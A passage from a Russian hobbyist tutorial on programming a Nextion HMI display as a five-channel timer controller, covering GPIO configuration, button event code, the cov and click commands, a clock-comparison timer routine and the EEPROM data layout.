0,0,0*** Вход/выход GPIO0 настраивается как вход, подтянутый к +5В. Текущее состояние можно прочитать так: ***n0.val = pio0*** | | 1 | Вход с подтяжкой к + 5 вольтам (встроенный резистор 50 кОм) и привязкой к виртуальному элементу. Текущее состояние прочитать из системной переменной ***pio0 – pio7*** (для 0- 7 входа/выхода соответственно). Так же при состоянии входа в лог. 1 привязанному элементу присваивается нажатое состояние, при лог. 0 привязанному элементу присваивается отпущенное состояние. Данный режим необходимо включать в событии ***Preinitialilize Event*** окна, поскольку после инициализации страницы, привязка не происходит. | ***cfgpio 2,1,b0*** Вход/выход GPIO2 настраивается как вход, подтянутый к +5В с привязкой к виртуальной кнопке ***b0***. По переднему фронту на этом входе, кнопка b0 переводится в нажатое состояние, по заднему фронту – в отпущенное. | | 2 | Двухтактный выход. Задать значение на выходе можно через системную переменную ***pio0 – pio7*** (для 0- 7 входа/выхода соответственно). | ***cfgpio 1,2,0*** Вход/выход GPIO1 настраивается как двухтактный выход. Запись высокого выходного уровня: ***pio1=1*** | | 3 | Выход ШИМ. Только для 4-7 входа/выхода. Значения от 0 до 100. По умолчанию – 50. Значение задаётся с помощью системных переменных ***pwm4- pwm7*** (для 4- 7 входа/выхода соответственно). Частота ШИМ для всех выходов задается с помощью системной переменной ***pwmf*** в герцах. Значения от 1 до 65536. По умолчанию – 1000. | ***cfgpio 4,3,0*** Вход/выход GPIO4 настраивается как выход ШИМ. Запись значения: ***pwm4=20*** Задание частоты ШИМ – 2000 Гц. ***pwmf=2000*** | | 4 | Выход с открытым коллектором. Задать значение на выходе можно через системную переменную ***pio0 – pio7*** (для 0- 7 входа/выхода соответственно). | ***cfgpio 5,4,0*** Вход/выход GPIO5 настраивается как двухтактный выход. Запись высокого выходного уровня: ***pio5=1*** | Событие ***Touch Press Event*** кнопки ***b0*** – «Установить время» ``` page 2 // Переход на страницу установки текущего времени ``` Тут всё понятно без объяснений Событие ***Touch Press Event*** кнопки ***b1*** – «Переключить состояние первого канала» ``` repo TempB.val,0 // Читаем из EEPROM в переменную TempB активность канала 1 if(TempB.val==1) // Если канал активен - переключаем его состояние { if(tsr1.val==1)// если канал включён { tsr1.val=2 // выключаем его }else { tsr1.val=1 // иначе - включаем } } ``` Сначала мы читаем из EEPROM активность канала. Каждый канал можно выключить из работы на странице настройки канала. Команду ***repo*** – «чтение из EEPROM» мы рассмотрим поподробнее ниже. Затем, если канал активен, переключаем его состояние. Текущее состояние каналов хранится в переменных ***tsr1 – tsr5*** для каждого из каналов соответственно. **Особенности в синтаксисе выражения if else** ***if(TempB.val==1)*** – пробелы нигде не допускаются. Все открывающие и закрывающие скобки обязательно с новой строки. Никакие команды кроме скобок в этой строке не допускаются. Исключение составляет выражение ***}else*** Вот оно должно быть написано именно так, в одну строку и без пробелов. Осознание этого заняло у меня прилично времени, я всё время ставил пробел перед ***else*** и не мог понять, почему ругается компилятор. Для остальных кнопок изменения состояния канала (***b2 — b5***) код события ***Touch Press Event*** аналогичны. Изменяется только адрес в EEPROM и переменная состояния канала. Событие ***Touch Press Event*** кнопки ***b6*** – «Выбрать предыдущий канал». Кнопка невидимая. Режим отрисовки (***sta***) – ***crop image*** (вырезанное изображение). В качестве картинки в не нажатом состоянии (***picc***) и нажатом состоянии (***picc2***) выбрано фоновое изображение окна. За счёт этого кнопка не отображается, но работает. Эта кнопка на этом экране привязана к физической кнопке ***Up (IO4)*** на ***Expansion Board***. ``` if(SelTim.val<2)//Если выбран канал 1 { SelTim.val=5 // выбираем канал 5 }else { SelTim.val=SelTim.val-1 // иначе переходим на предыдущий канал } ``` В переменной ***SelTim*** находится номер выбраного текущий момент таймера. Всё остальное, думаю понятно из комментариев. Событие ***Touch Press Event*** кнопки ***b7*** – «Выбрать следующий канал». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Down (IO3)*** на ***Expansion Board***. ``` if(SelTim.val>4) // Если выбран канал 5 { SelTim.val=1 // переходим на канал 1 }else { SelTim.val=SelTim.val+1 // иначе переходим на следующий } ``` Тут я думаю то же всё понятно. Событие ***Touch Press Event*** кнопки ***b8*** – «Редактировать выбранный канал». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Right (IO2)*** на ***Expansion Board***. ``` if(SelTim.val==1) // Если выбран канал 1 { click TimerText1,1 // то имитируем нажатие на поле отображения состояния канала 1 } if(SelTim.val==2) // Если выбран канал 2 { click TimerText2,1 // то имитируем нажатие на поле отображения состояния канала 2 } if(SelTim.val==3) // Если выбран канал 3 { click TimerText3,1 // то имитируем нажатие на поле отображения состояния канала 3 } if(SelTim.val==4) // Если выбран канал 4 { click TimerText4,1 // то имитируем нажатие на поле отображения состояния канала 4 } if(SelTim.val==5) // Если выбран канал 5 { click TimerText5,1 // то имитируем нажатие на поле отображения состояния канала 1 } ``` **Подробнее о команде click – имитация нажатия или отпускания элемента** Синтаксис: ***click cmpID,event*** где: ***cmpID***: имя или ID элемента. ***event***: событие 0 – отпускание; 1 – нажатие Обратите внимание на наличие пробелов. Обязательный пробел после команды ***click*** дальше в тексте команды пробелы не допустимы. Событие ***Touch Press Event*** кнопки ***b9*** – «Переключить состояние выбраного канала». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Left (IO5)*** на ***Expansion Board***. ``` if(SelTim.val==1) // Если выбран канал 1 { click b1,1 // Имитируем нажатие на кнопку b1 } if(SelTim.val==2) // Если выбран канал 2 { click b2,1 // Имитируем нажатие на кнопку b2 } if(SelTim.val==3) // Если выбран канал 3 { click b3,1 // Имитируем нажатие на кнопку b3 } if(SelTim.val==4) // Если выбран канал 4 { click b4,1 // Имитируем нажатие на кнопку b4 } if(SelTim.val==5) // Если выбран канал 5 { click b5,1 // Имитируем нажатие на кнопку b5 } ``` Событие ***Touch Press Event*** текстового поля ***TimerText1*** – «Отображение состояния канала 1». ``` sys0=1 // заносим в системную переменную sys0 номер редактируемого канала sys1=1 // заносим в системную переменную sys1 стартовый номер для выделения необходимого поля редактирования page 1 // переходим на страницу редактирования канала (SetTimer - ID = 1). ``` Для других текстовых полей (***TimerText2 – TimerText5***) код события ***Touch Press Event*** аналогичен. Только в системную переменную ***sys0*** заносится соответствующий номер канала. ***sys0, sys1, sys2***-глобальные числовые переменные, которые не нужно создавать или определять. Их можно использовать на любом экране. Значение по умолчанию для этих трех переменных равны 0, их можно читать и писать, их диапазон значений 0~4294967295. Рекомендуется для передачи значений между страницами. На этом экране установлен таймер ***tm0***. Этот таймер срабатывает каждые 200 миллисекунд (параметр ***tim***), при активности страницы. Код контроля состояния таймеров и перерисовки компонентов, находящихся на странице находится в событии ***Timer Event*** этого таймера. **Код под сполером** ``` //Отображение текущего времени в поле CurrentTime1 //----Отображение текущего дня---- temp.val=rtc2 // Получаем значение текущего дня из системной переменной rtc2 - "день в часах реального времени" tempText.txt="" // Во временную строковую переменную tempText кладём пустую строку if(temp.val<10)// Если день меньше 10 { tempText.txt="0" // то во временную строковую переменную tempText кладём символ "0" } cov temp.val,TT1.txt,0 // конвертим значения дня (числовое) в строковое значение в строковую переменную TT1 CurrentTime1.txt=tempText.txt+TT1.txt // значение из переменной tempText и TT1 заносим в поле отображения CurrentTime1 //----Отображение текущего месяца---- temp.val=rtc1 // Получаем значение текущего месяца из системной переменной rtc1 - "месяц в часах реального времени" tempText.txt="" // Во временную строковую переменную tempText кладём пустую строку if(temp.val<10) // Если месяц меньше 10 { tempText.txt="0" // то во временную строковую переменную tempText кладём символ "0" } cov temp.val,TT1.txt,0 // конвертим значения месяца (числовое) в строковое значение в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+"-"+tempText.txt+TT1.txt // к тексту в поле отображения CurrentTime1 добавляем разделитель даты "-" и значения из переменных tempText и TT1 //----Отображение текущего года---- temp.val=rtc0 // Получаем значение текущего года из системной переменной rtc0 - "год в часах реального времени" cov temp.val,TT1.txt,0 // конвертим значения года (числовое) в строковое значение в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+"-"+TT1.txt // к тексту в поле отображения CurrentTime1 добавляем разделитель даты "-" и значения из переменной TT1 //----Отображение текущего часа---- temp.val=rtc3 // Получаем значение текущего часа из системной переменной rtc3 - "час в часах реального времени" tempText.txt="" // Во временную строковую переменную tempText кладём пустую строку if(temp.val<10) // Если час меньше 10 { tempText.txt="0" // то во временную строковую переменную tempText кладём символ "0" } cov temp.val,TT1.txt,0 // конвертим значения часа (числовое) в строковое значение в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+" "+tempText.txt+TT1.txt // к тексту в поле отображения CurrentTime1 добавляем разделитель даты и времени " " и значения из переменных tempText и TT1 //----Отображение текущей минуты---- temp.val=rtc4 // Получаем значение текущей минуты из системной переменной rtc4 - "минута в часах реального времени" tempText.txt="" // Во временную строковую переменную tempText кладём пустую строку if(temp.val<10) // Если минута меньше 10 { tempText.txt="0"// то во временную строковую переменную tempText кладём символ "0" } cov temp.val,TT1.txt,0 // конвертим значения минуты (числовое) в строковое значение в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+":"+tempText.txt+TT1.txt // к тексту в поле отображения CurrentTime1 добавляем разделитель времени ":" и значения из переменных tempText и TT1 //----Отображение текущей секунды---- temp.val=rtc5 // Получаем значение текущей секунды из системной переменной rtc5 - "секунда в часах реального времени" tempText.txt="" // Во временную строковую переменную tempText кладём пустую строку if(temp.val<10) // Если секунда меньше 10 { tempText.txt="0" // то во временную строковую переменную tempText кладём символ "0" } cov temp.val,TT1.txt,0 // конвертим значения секунды (числовое) в строковое значение в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+":"+tempText.txt+TT1.txt // к тексту в поле отображения CurrentTime1 добавляем разделитель времени ":" и значения из переменных tempText и TT1 //Отрисовка времени срабатывания каналов и определение событий срабатывания/отключения каналов for(i.val=0;i.val<5;i.val++)//перебор каналов. в переменной i находится номер обрабатываемого канала (счёт с нуля) { temp.val=i.val*52 // определение стартового адреса в EEPROM для обрабатываемого канала // ----Обработка дня включения---- temp2.val=temp.val+4 // Определяем адрес в EEPROM уставки дня включения канала Var0txt.txt=""// в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку дня включения канала if(temp1.val==10000) // если уставка дня не учитывается (значение 10000) { ts1.val=1 // считаем что уставка совпала с текущим днём tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc2) // если уставка совпала с текущим днём { ts1.val=1 // запоминаем что совпала в переменную ts1 }else // иначе { ts1.val=2 // запоминаем что не совпала в переменную ts1 } cov temp1.val,tempText.txt,0 // конвертим уставку дня включения канала (числовое значение) во строковую переменную tempText if(temp1.val<10)//Eсли значение уставки дня включения канала меньше 10 { Var0txt.txt="0" // в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=Var0txt.txt+tempText.txt+"-"//в текстовую переменную TT1 записываем значения переменных Var0txt, tempText и разделитель даты "-" // ----Обработка месяца включения---- temp2.val=temp.val+8 // Определяем адрес в EEPROM уставки месяца включения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку месяца включения канала if(temp1.val==10000)// если уставка месяца не учитывается (значение 10000) { ts2.val=1 // считаем что уставка совпала с текущим месяцем tempText.txt="X"// в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc1)//если уставка совпала с текущим месяцем { ts2.val=1 // запоминаем что совпала в переменную ts2 }else // иначе { ts2.val=2 // запоминаем что не совпала в переменную ts2 } cov temp1.val,tempText.txt,0 // конвертим уставку месяца включения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки месяца включения канала меньше 10 { Var0txt.txt="0" // в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+"-" // К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель даты "-" // ----Обработка года включения---- temp2.val=temp.val+12 // Определяем адрес в EEPROM уставки года включения канала repo temp1.val,temp2.val// вычитываем из EEPROM в переменную temp1.val уставку года включения канала if(temp1.val==10000) // если уставка месяца не учитывается (значение 10000) { ts3.val=1 // считаем что уставка совпала с текущим годом tempText.txt="X"// в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc0) // если уставка совпала с текущим годом { ts3.val=1 // запоминаем что совпала в переменную ts3 }else // иначе { ts3.val=0 // запоминаем что не совпала в переменную ts3 } cov temp1.val,tempText.txt,0 // конвертим уставку года включения канала (числовое значение) во строковую переменную tempText } TT1.txt=TT1.txt+tempText.txt+" " // К значению текстовой переменной TT1 добавляем значения переменной tempText и разделитель даты и времени " " // ----Обработка часа включения---- temp2.val=temp.val+16 // Определяем адрес в EEPROM уставки часа включения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку часа включения канала if(temp1.val==10000)// если уставка часа не учитывается (значение 10000) { ts4.val=1 // считаем что уставка совпала с текущим часом tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc3) // если уставка совпала с текущим часом { ts4.val=1 // запоминаем что совпала в переменную ts4 }else // иначе { ts4.val=0 // запоминаем что не совпала в переменную ts4 } cov temp1.val,tempText.txt,0 // конвертим уставку часа включения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки часа включения канала меньше 10 { Var0txt.txt="0" // в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+":" // К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель времени ":" // ----Обработка минуты включения---- temp2.val=temp.val+20 // Определяем адрес в EEPROM уставки минуты включения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку минуты включения канала if(temp1.val==10000)// если уставка минуты не учитывается (значение 10000) { ts5.val=1 // считаем что уставка совпала с текущей минутой tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc4) // если уставка совпала с текущей минутой { ts5.val=1//запоминаем что совпала в переменную ts5 }else // иначе { ts5.val=0 // запоминаем что не совпала в переменную ts5 } cov temp1.val,tempText.txt,0 // конвертим уставку минуты включения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки минуты включения канала меньше 10 { Var0txt.txt="0"//в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+":"//К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель времени ":" // ----Обработка секунды включения---- temp2.val=temp.val+24 // Определяем адрес в EEPROM уставки секунды включения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку секунды включения канала if(temp1.val==10000) // если уставка секунды не учитывается (значение 10000) { ts6.val=1 // считаем что уставка совпала с текущей секундой tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc5) // если уставка совпала с текущей секундой { ts6.val=1 // запоминаем что совпала в переменную ts6 }else // иначе { ts6.val=0 // запоминаем что не совпала в переменную ts6 } cov temp1.val,tempText.txt,0 // конвертим уставку секунды включения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки секунды включения канала меньше 10 { Var0txt.txt="0" // в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+" / " // К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель уставки включения и выключения "/" // ----Обработка дня отключения---- temp2.val=temp.val+28 // Определяем адрес в EEPROM уставки дня отключения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку дня отключения канала if(temp1.val==10000) // если уставка дня не учитывается (значение 10000) { ts7.val=1 // считаем что уставка совпала с текущим днём tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc2) // если уставка совпала с текущим днём { ts7.val=1 // запоминаем что совпала в переменную ts7 }else // иначе { ts7.val=0 // запоминаем что не совпала в переменную ts7 } cov temp1.val,tempText.txt,0 // конвертим уставку дня выключения канала (числовое значение) во строковую переменную tempText if(temp1.val<10)//Eсли значение уставки дня выключения канала меньше 10 { Var0txt.txt="0"//в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+"-" // К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель даты "-" // ----Обработка месяца отключения---- temp2.val=temp.val+32 // Определяем адрес в EEPROM уставки дня отключения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val// вычитываем из EEPROM в переменную temp1.val уставку месяца отключения канала if(temp1.val==10000)// если уставка месяца не учитывается (значение 10000) { ts8.val=1//считаем что уставка совпала с текущим месяцем tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc1) // если уставка совпала с текущим месяцем { ts8.val=1 // запоминаем что совпала в переменную ts8 }else // иначе { ts8.val=0 // запоминаем что не совпала в переменную ts8 } cov temp1.val,tempText.txt,0 // конвертим уставку месяца выключения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки месяца выключения канала меньше 10 { Var0txt.txt="0"//в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+"-"//К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель даты "-" // ----Обработка года отключения---- temp2.val=temp.val+36 // Определяем адрес в EEPROM уставки дня отключения канала repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку года отключения канала if(temp1.val==10000)// если уставка года не учитывается (значение 10000) { ts9.val=1 // считаем что уставка совпала с текущим месяцем tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc0) // если уставка совпала с текущим годом { ts9.val=1 // запоминаем что совпала в переменную ts9 }else // иначе { ts9.val=0 // запоминаем что не совпала в переменную ts9 } cov temp1.val,tempText.txt,0 // конвертим уставку года выключения канала (числовое значение) во строковую переменную tempText } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+" " // К значению текстовой переменной TT1 добавляем значения переменной tempText и разделитель даты и времени " " // ----Обработка часа отключения---- temp2.val=temp.val+40 // Определяем адрес в EEPROM уставки часа отключения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку часа отключения канала if(temp1.val==10000) // если уставка часа не учитывается (значение 10000) { ts10.val=1//считаем что уставка совпала с текущим часом tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc3) // если уставка совпала с текущим часом { ts10.val=1 // запоминаем что совпала в переменную ts10 }else // иначе { ts10.val=0 // запоминаем что не совпала в переменную ts10 } cov temp1.val,tempText.txt,0 // конвертим уставку часа выключения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки часа выключения канала меньше 10 { Var0txt.txt="0" // в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+":"//К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель времени ":" // ----Обработка минуты отключения---- temp2.val=temp.val+44 // Определяем адрес в EEPROM уставки минуты отключения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку минуты отключения канала if(temp1.val==10000) // если уставка минуты не учитывается (значение 10000) { ts11.val=1 // считаем что уставка совпала с текущей минутой tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc4) // если уставка совпала с текущей минутой { ts11.val=1 // запоминаем что совпала в переменную ts11 }else // иначе { ts11.val=0 // запоминаем что не совпала в переменную ts11 } cov temp1.val,tempText.txt,0 // конвертим уставку минуты выключения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки минуты выключения канала меньше 10 { Var0txt.txt="0"//в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt+":" // К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText и разделитель времени ":" // ----Обработка секунды отключения---- temp2.val=temp.val+48 // Определяем адрес в EEPROM уставки секунды отключения канала Var0txt.txt="" // в текстовую переменную Var0txt записываем пустую строку repo temp1.val,temp2.val // вычитываем из EEPROM в переменную temp1.val уставку секунды отключения канала if(temp1.val==10000) // если уставка секунды не учитывается (значение 10000) { ts12.val=1 // считаем что уставка совпала с текущей секундой tempText.txt="X" // в строковую переменную tempText для отображения пишем символ "X" }else // Иначе { if(temp1.val==rtc5) // если уставка совпала с текущей минутой { ts12.val=1 // запоминаем что совпала в переменную ts12 }else // иначе { ts12.val=0 // запоминаем что не совпала в переменную ts12 } cov temp1.val,tempText.txt,0 // конвертим уставку секунды выключения канала (числовое значение) во строковую переменную tempText if(temp1.val<10) // Eсли значение уставки секунды выключения канала меньше 10 { Var0txt.txt="0" // в текстовую переменную Var0txt записываем символ "0" } } TT1.txt=TT1.txt+Var0txt.txt+tempText.txt // К значению текстовой переменной TT1 добавляем значения переменных Var0txt, tempText // ----Определение события включения---- repo temp1.val,temp.val // вычитываем из EEPROM в переменную temp1.val состояние активности канала tsrOn.val=0 // в переменную tsrOn (произошло событие включения) записываем 0 (нет события) if(temp1.val==1)// Если канал активен { if(ts1.val==1)// и если совпал день включения { if(ts2.val==1)// и если совпал месяц включения { if(ts3.val==1)// и если совпал год включения { if(ts4.val==1)// и если совпал час включения { if(ts5.val==1)// и если совпала минута включения { if(ts6.val==1)// и если совпала секунда включения { tsrOn.val=1//в переменную tsrOn (произошло событие включения) записываем 1 (естьсобытие включения) } } } } } } } // ----Определение события выключения---- tsrOf.val=0 // в переменную tsrOf (произошло событие выключения) записываем 0 (нет события) if(temp1.val==1)// Если канал активен { if(ts7.val==1)// и если совпал день выключения { if(ts8.val==1)// и если совпал месяц выключения { if(ts9.val==1)// и если совпал год выключения { if(ts10.val==1)// и если совпал час выключения { if(ts11.val==1)// и если совпала минута выключения { if(ts12.val==1)// и если совпала секунда выключения { tsrOf.val=1//в переменную tsrOf (произошло событие выключения) записываем 1 (есть событие отключения) } } } } } } }else//Иначе { tsrOf.val=1//в переменную tsrOf (произошло событие выключения) записываем 1 (есть событие отключения) } // ----Обработка событий для канала 1---- if(i.val==0)// если обрабатывается канал 1 { if(tsr1.val==1)//если текущее состояние канала - включён (состояние канала 1 - переменная tsr1) { if(tsrOf.val==1)// и если произошло событие отключения { tsr1.val=2 // переводим канал в отключённое состояние } }else // Иначе (если состояние канала отключенное ) { if(tsrOn.val==1) // и если произошло событие включения { tsr1.val=1 // переводим канал во включенное состояние состояние } } if(tsr1.val==1)//если текущее состояние канала - включён (состояние канала 1 - переменная tsr1) { TimerText1.pco=63488// текстовому полю TimerText1 задаём цвет текста - красный }else // иначе { if(temp1.val==1) // если канал активен { TimerText1.pco=65504 // текстовому полю TimerText1 задаём цвет текста - жёлтый }else // иначе(если канал не активен) { TimerText1.pco=50712 // текстовому полю TimerText1 задаём цвет текста - серый } } TimerText1.txt=TT1.txt // в текстовое поле TimerText1 в качестве текста задаем значение текстовой переменной TT1 } // ----Обработка событий для канала 2---- if(i.val==1) // если обрабатывается канал 2 { if(tsr2.val==1)//если текущее состояние канала - включён (состояние канала 2 - переменная tsr2) { if(tsrOf.val==1)// и если произошло событие отключения { tsr2.val=2 // переводим канал в отключённое состояние } }else // Иначе (если состояние канала отключенное ) { if(tsrOn.val==1)// и если произошло событие включения { tsr2.val=1 // переводим канал во включенное состояние состояние } } if(tsr2.val==1)//если текущее состояние канала - включён (состояние канала 2 - переменная tsr2) { TimerText2.pco=63488// текстовому полю TimerText2 задаём цвет текста - красный }else // иначе { if(temp1.val==1) // если канал активен { TimerText2.pco=65504 // текстовому полю TimerText2 задаём цвет текста - жёлтый }else // иначе(если канал не активен) { TimerText2.pco=50712 // текстовому полю TimerText2 задаём цвет текста - серый } } TimerText2.txt=TT1.txt // в текстовое поле TimerText2 в качестве текста задаем значение текстовой переменной TT1 } // ----Обработка событий для канала 3---- if(i.val==2) // если обрабатывается канал 3 { if(tsr3.val==1)//если текущее состояние канала - включён (состояние канала 3 - переменная tsr3) { if(tsrOf.val==1)// и если произошло событие отключения { tsr3.val=2 // переводим канал в отключённое состояние } }else // Иначе (если состояние канала отключенное ) { if(tsrOn.val==1)// и если произошло событие включения { tsr3.val=1 // переводим канал во включенное состояние состояние } } if(tsr3.val==1)//если текущее состояние канала - включён (состояние канала 3 - переменная tsr3) { TimerText3.pco=63488 // текстовому полю TimerText3 задаём цвет текста - красный }else // иначе { if(temp1.val==1) // если канал активен { TimerText3.pco=65504 // текстовому полю TimerText3 задаём цвет текста - жёлтый }else // иначе(если канал не активен) { TimerText3.pco=50712// текстовому полю TimerText3 задаём цвет текста - серый } } TimerText3.txt=TT1.txt // в текстовое поле TimerText3 в качестве текста задаем значение текстовой переменной TT1 } // ----Обработка событий для канала 4---- if(i.val==3) // если обрабатывается канал 4 { if(tsr4.val==1)//если текущее состояние канала - включён (состояние канала 4 - переменная tsr4) { if(tsrOf.val==1)// и если произошло событие отключения { tsr4.val=2//переводим канал в отключённое состояние } }else // Иначе (если состояние канала отключенное ) { if(tsrOn.val==1)// и если произошло событие включения { tsr4.val=1//переводим канал во включенное состояние состояние } } if(tsr4.val==1)//если текущее состояние канала - включён (состояние канала 4 - переменная tsr4) { TimerText4.pco=63488 // текстовому полю TimerText4 задаём цвет текста - красный }else//иначе { if(temp1.val==1)// если канал активен { TimerText4.pco=65504 // текстовому полю TimerText4 задаём цвет текста - жёлтый }else // иначе(если канал не активен) { TimerText4.pco=50712// текстовому полю TimerText4 задаём цвет текста - серый } } TimerText4.txt=TT1.txt // в текстовое поле TimerText4 в качестве текста задаем значение текстовой переменной TT1 } // ----Обработка событий для канала 5---- if(i.val==4) // если обрабатывается канал 5 { if(tsr5.val==1)//если текущее состояние канала - включён (состояние канала 5 - переменная tsr5) { if(tsrOf.val==1)// и если произошло событие отключения { tsr5.val=2//переводим канал в отключённое состояние } }else // Иначе (если состояние канала отключенное ) { if(tsrOn.val==1)// и если произошло событие включения { tsr5.val=1 // переводим канал во включенное состояние состояние } } if(tsr5.val==1)//если текущее состояние канала - включён (состояние канала 5 - переменная tsr5) { TimerText5.pco=63488 // текстовому полю TimerText5 задаём цвет текста - красный }else // иначе { if(temp1.val==1)// если канал активен { TimerText5.pco=65504 // текстовому полю TimerText5 задаём цвет текста - жёлтый }else // иначе(если канал не активен) { TimerText5.pco=50712 // текстовому полю TimerText5 задаём цвет текста - серый } } TimerText5.txt=TT1.txt // в текстовое поле TimerText5 в качестве текста задаем значение текстовой переменной TT1 } } //Отрисовка значка выбраного канала if(SelTim.val==1) // если выбран канал 1 (переменная SelTim) { b1.txt="+" // на кнопке переключения состояния канала 1 (b1) рисуем "+" }else // иначе { b1.txt="" // на кнопке переключения состояния канала 1 (b1) стираем "+" } if(SelTim.val==2) // если выбран канал 2 (переменная SelTim) { b2.txt="+" // на кнопке переключения состояния канала 2 (b2) рисуем "+" }else//иначе { b2.txt="" // на кнопке переключения состояния канала 2 (b2) стираем "+" } if(SelTim.val==3)//если выбран канал 3 (переменная SelTim) { b3.txt="+" // на кнопке переключения состояния канала 3 (b3) рисуем "+" }else//иначе { b3.txt="" // на кнопке переключения состояния канала 3 (b3) стираем "+" } if(SelTim.val==4)//если выбран канал 4 (переменная SelTim) { b4.txt="+" // на кнопке переключения состояния канала 4 (b4) рисуем "+" }else//иначе { b4.txt="" // на кнопке переключения состояния канала 4 (b4) стираем "+" } if(SelTim.val==5)//если выбран канал 5 (переменная SelTim) { b5.txt="+" // на кнопке переключения состояния канала 5 (b5) рисуем "+" }else//иначе { b5.txt="" // на кнопке переключения состояния канала 5 (b5) стираем "+" } ``` **Особенности в синтаксисе выражения for** ***for(n0.val=0; n0.val<100; n0.val++)*** — пробелы нигде не допускаются. Все открывающие и закрывающие скобки обязательно с новой строки. Никакие команды кроме скобок в этой строке не допускаются. **Подробнее о команде cov – конвертация между строковыми и числовыми данными.** Синтаксис: ***cov att1,att2,lenth*** где: ***att1***: исходное значение ***att2***: целевое значение ***lenth***: длинна строки ( 0 – авто определение) Пример: ***cov number.val,text.txt,0*** Значение числовой переменной ***number*** будет преобразовано в строку и занесено в значение строковой переменной ***text***. ***cov text.txt,number.val,5*** Обратное преобразование первых пяти символов из строковой переменной ***text***. Обратите внимание на наличие пробелов. Обязательный пробел после команды ***cov*** дальше в тексте команды пробелы не допустимы. Рассмотрим расположение данных в EEPROM панели. На каждый канал отведено 52 байта. На каждое значение – 4 байта. | Адрес в EEPROM *Стартовое смещение* = (номер канала начиная с 0)\*52 | Значение | | --- | --- | | *Стартовое смещение* | Активность канала (0 – канал отключен, 1- канал включён) | | *Стартовое смещение* + 4 | День включения канала. Если не учитывается — 10000 | | *Стартовое смещение* + 8 | Месяц включения канала. Если не учитывается — 10000 | | *Стартовое смещение* + 12 | Год включения канала. Если не учитывается — 10000 | | *Стартовое смещение* + 16 | Час включения канала. Если не учитывается — 10000 | | *Стартовое смещение* + 20 | Минута включения канала. Если не учитывается -10000 | | *Стартовое смещение* + 24 | Секунда включения канала. Если не учитывается – 10000 | | *Стартовое смещение* + 28 | День выключения канала. 